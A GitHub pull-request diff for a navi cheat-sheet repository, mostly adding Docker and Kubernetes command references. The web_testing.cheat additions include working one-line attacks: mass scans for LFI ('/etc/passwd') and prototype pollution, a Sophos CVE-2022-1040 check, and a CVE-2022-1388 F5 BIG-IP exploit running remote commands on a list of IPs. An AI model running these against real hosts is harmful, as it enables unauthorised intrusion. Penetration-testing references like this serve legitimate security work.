Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

bump updated #18

Open
wants to merge 7 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added CheatSheets.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
# cheat.sheets

A directory of cheat sheets to use with TLDR, cheat.sh, or Navi.

![](CheatSheets.png)
## Installing

1. Install `fd-find fzf` if you don't have them:
Expand Down
77 changes: 77 additions & 0 deletions docker.cheat
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
% docker

# Remove an image
docker image rm <image_id>

# Delete an image from the local image store
docker rmi <image_id>

# Clean none/dangling images
docker rmi $(docker images --filter "dangling=true" -q --no-trunc)

# Force clean none/dangling images
docker rmi $(docker images --filter "dangling=true" -q --no-trunc) -f

# List all images that are locally stored with the Docker engine
docker images

# Build an image from the Dockerfile in the current directory and tag the image
docker build -t <image>:<version> .

# Pull an image from a registry
docker pull <image>:<version>

# Stop a running container through SIGTERM
docker stop <container_id>

# Stop a running container through SIGKILL
docker kill <container_id>

# List the networks
docker network ls

# List the running containers
docker ps

# Delete all running and stopped containers
docker rm -f $(docker ps -aq)

# Create a new bash process inside the container and connect it to the terminal
docker exec -it <container_id> bash

# Print the last lines of a container's logs
docker logs --tail 100 <container_id> | less

# Print the last lines of a container's logs and following its logs
docker logs --tail 100 <container_id> -f

# Create new network
docker network create <network_name>

$ image_id: docker images --- --headers 1 --column 3
$ container_id: docker ps --- --headers 1 --column 1



% docker-compose

# Builds, (re)creates, starts, and attaches to containers for all services
docker-compose up

# Builds, (re)creates, starts, and dettaches to containers for all services
docker-compose up -d

# Builds, (re)creates, starts, and attaches to containers for a service
docker-compose up -d <service_name>

# Builds, (re)creates, starts, and dettaches to containers for a service
docker-compose up -d <service_name>

# Print the last lines of a service’s logs
docker-compose logs --tail 100 <service_name> | less

# Print the last lines of a service's logs and following its logs
docker-compose logs -f --tail 100 <service_name>

# Stops containers and removes containers, networks created by up
docker-compose down
1 change: 0 additions & 1 deletion file_transfer.cheat
Original file line number Diff line number Diff line change
Expand Up @@ -10,4 +10,3 @@ scp your_username@remoteIP:<filename> /some/local/directory

# Copy local directory to remote directory
scp -r <local_dir> your_username@remoteIP:/some/remote/directory/<remote_dir>

67 changes: 67 additions & 0 deletions kubernetes.cheat
Original file line number Diff line number Diff line change
Expand Up @@ -16,3 +16,70 @@ sudo apt-get install helm

# disable node spawning on master(s)
kubectl get nodes -o wide | grep master | cut -d ' ' -f 1 | xargs -I {} kubectl taint nodes {} node-role.kubernetes.io/master=:NoSchedule



# Print all contexts
kubectl config get-contexts

# Print current context of kubeconfig
kubectl config current-context

# Set context of kubeconfig
kubectl config use-context <context>

# Print resource documentation
kubectl explain <resource>

# Get nodes (add option '-o wide' for details)
kubectl get nodes

# Get namespaces
kubectl get namespaces

# Get pods from namespace (add option '-o wide' for details)
kubectl get pods -n <namespace>

# Get pods from all namespace (add option '-o wide' for details)
kubectl get pods --all-namespaces

# Get services from namespace
kubectl get services -n <namespace>

# Get details from resource on namespace
kubectl describe <resource>/<name> -n <namespace>

# Print logs from namespace
kubectl logs -f pods/<name> -n <namespace>

# Get deployments
kubectl get deployments -n <namespace>

# Edit deployments
kubectl edit deployment/<name> -n <namespace>

# Drain node in preparation for maintenance
kubectl drain <name>

# Mark node as schedulable
kubectl uncordon <name>

# Mark node as unschedulable
kubectl cordon <name>

# Display resource (cpu/memory/storage) usage
kubectl top <type>

# List the namespaces in the current context
kubens

# Change the active namespace of current context
kubens <namespaces>

# Switch to the previous namespace in this context
kubens -

# Show the current namespace
kubens -c

$ namespaces: kubens --- --headers 1 --column 3
6 changes: 6 additions & 0 deletions web_testing.cheat
Original file line number Diff line number Diff line change
Expand Up @@ -23,3 +23,9 @@ gau <target-domain> | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c '

# Find Prototype Pollution
subfinder -d <target-domain> -all -silent | httpx -silent -threads 300 | anew -q alive.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' alive.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"

# Sophos Firewall CVE-2022-1040 (RCE)
cat sophos_servers | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

# Exploit F5 Big IP Using Curl - CVE-2022-1388
cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done